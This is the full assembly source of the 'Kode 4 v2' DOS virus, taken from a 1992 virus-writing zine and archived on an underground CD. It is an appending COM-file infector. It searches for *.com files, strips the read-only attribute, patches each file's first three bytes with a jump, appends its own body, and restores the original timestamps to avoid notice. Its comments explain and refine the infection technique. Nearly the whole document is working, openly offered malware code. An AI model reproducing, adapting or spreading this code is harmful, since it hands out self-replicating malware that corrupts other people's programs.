Underground/Underground CD1.iso/virii/zrodla/k/kode4v2.asm

Assembly Source File | 1998-01-14 | 6.9 KB | 192 lines

─────────═════════>>> Article From Evolution #2 - YAM '92



Article Title: Kode 4 v2 Virus

Author: Soltan Griss





seg_a           segment byte public

                assume  cs:seg_a, ds:seg_a





                org     100h

V_Length        equ     vend-vstart

KODE4           proc    far

start           label   near

                db      0E9h,00h,00h





vstart          equ     $



                mov     si,100h                 ;get si to point to 100

                mov     di,102h                 ;get di to point to 102

lback:          inc     di                      ;increment di

                mov     ax,word ptr [si]        ;si is ponting to ax

                cmp     word ptr [di],ax        ;compare ax with di loc

                jne     lback                   ;INE go back and inc di





                mov     ax,word ptr [si+1]

                cmp     ax,word ptr [di+1]

                je      lout

                jmp     lback



lout:           add     di,3h                   ;jmp stored in the end

                sub     di,(v_length+100h)      ;+3 to get to end and -

                mov     si,di                   ;

;**********************************************************************

;*

;*  The above code can be re-written as follows...

;*  The above idea, although it works is very long in code....

;*  when DOS does a load and execute it pushes all registers the last

;*  register to be pushed contains the file length. so just subtract

;*  the current location

;**********************************************************************

;

;

;

;Host_Off:       pop     bp

;                sub     bp,offset host_off

;                mov     si,bp

;

;*** Before opening any file copy the original three bytes back to 100h

;*** Because they will get overwritten when you check any new files

                lea     di,temp_buff

                add     di,si

                mov     ax,word ptr [di]

                mov     cl,byte ptr [di+2]

                mov     di,100h

                mov     word ptr [di],ax

                mov     byte ptr [di+2],cl





                mov     ah,4Eh             ;Find first Com file

                mov     dx,offset filename  ; offset of "*.com"

                add     dx,si

                int     21h

                jnc     back

                jmp     done

Back:

                mov     ah,43h              ;get rid of read only

                mov     al,0

                mov     dx,9eh

                int     21h

                mov     ah,43h

                mov     al,01

                and     cx,11111110b

                int     21h



                mov     ax,3D02h           ;Open file for read/writing

                mov     dx,9Eh             ;get file name from file DTA

                int     21h

                jnc     next

                jmp     done

next:           mov     bx,ax               ;save handle in bx

                mov     ah,57h              ;get time date

                mov     al,0

                int     21h



                push    cx                  ;put in stack for later

                push    dx



                mov     ax,4200h        ; Move ptr to start of file

                xor     cx,cx

                xor     dx,dx

                int     21h





                mov     ah,3fh                ;load first 3 bytes

                mov     cx,3



                mov     dx,offset temp_buff

                add     dx,si

                int     21h



                xor     cx,cx       ;move file pointer to end of file

                xor     dx,dx

                mov     ax,4202h

                int     21h

                sub     ax,3                    ; Fix for real location

                push    ax

              ; nop                             ;

              ; nop                             ; used for debugging

              ; nop                             ;

              ; nop                             ;

              ; nop



                mov     di,offset temp_buff

                add     di,si

                mov     word ptr [j_code2+si],ax; Save two bytes in a

                                                ; word [jumpin]



                cmp     byte ptr [di],0e9h  ;look for a jmp at begining

                jne     infect



                mov     cx,word ptr [di+1]  ;check for XXX bytes at end

                pop     ax

                sub     ax,v_length

                cmp     ax, cx              ; jump (id string to check)

                jne     infect

                jmp     finish







infect:



                xor     cx,cx           ;move file pointer to begining

                xor     dx,dx           ;to write jump

                mov     ax,4200h

                int     21h



                mov     ah,40h           ;write jump in first 3 bytes

                mov     cx,3

                mov     dx, offset j_code1

                add     dx,si

                int     21h



                xor     cx,cx       ;move file pointer to end of file

                xor     dx,dx

                mov     ax, 4202h

                int     21h



                mov     dx,offset vstart

                add     dx,si            ;Start writing at top of virus

                mov     cx,(vend-vstart)   ; Set for length of virus

                mov     ah,40h             ;Write Data into the file

                int     21h





Finish:         pop     dx                 ;Restore old dates and times

                pop     cx

                mov     ah,57h

                mov     al,01h

                int     21h



                mov     ah,3Eh             ;Close the file

                int     21h



                mov     ah,4Fh             ;Find Next file

                int     21h

                jc      done

                jmp     back



done:

                mov     bp,100h

                jmp     bp





filename        db      "*.com",0

DATA            db      " -=+ Kode4 +=-, The one and ONLY!$"



j_code1         db      0e9h

j_code2         db      00h,00h

temp_buff       db      0cdh,020h,090h  ; CD 20 NOP

kode4           endp



vend            equ     $



seg_a           ends



                end     start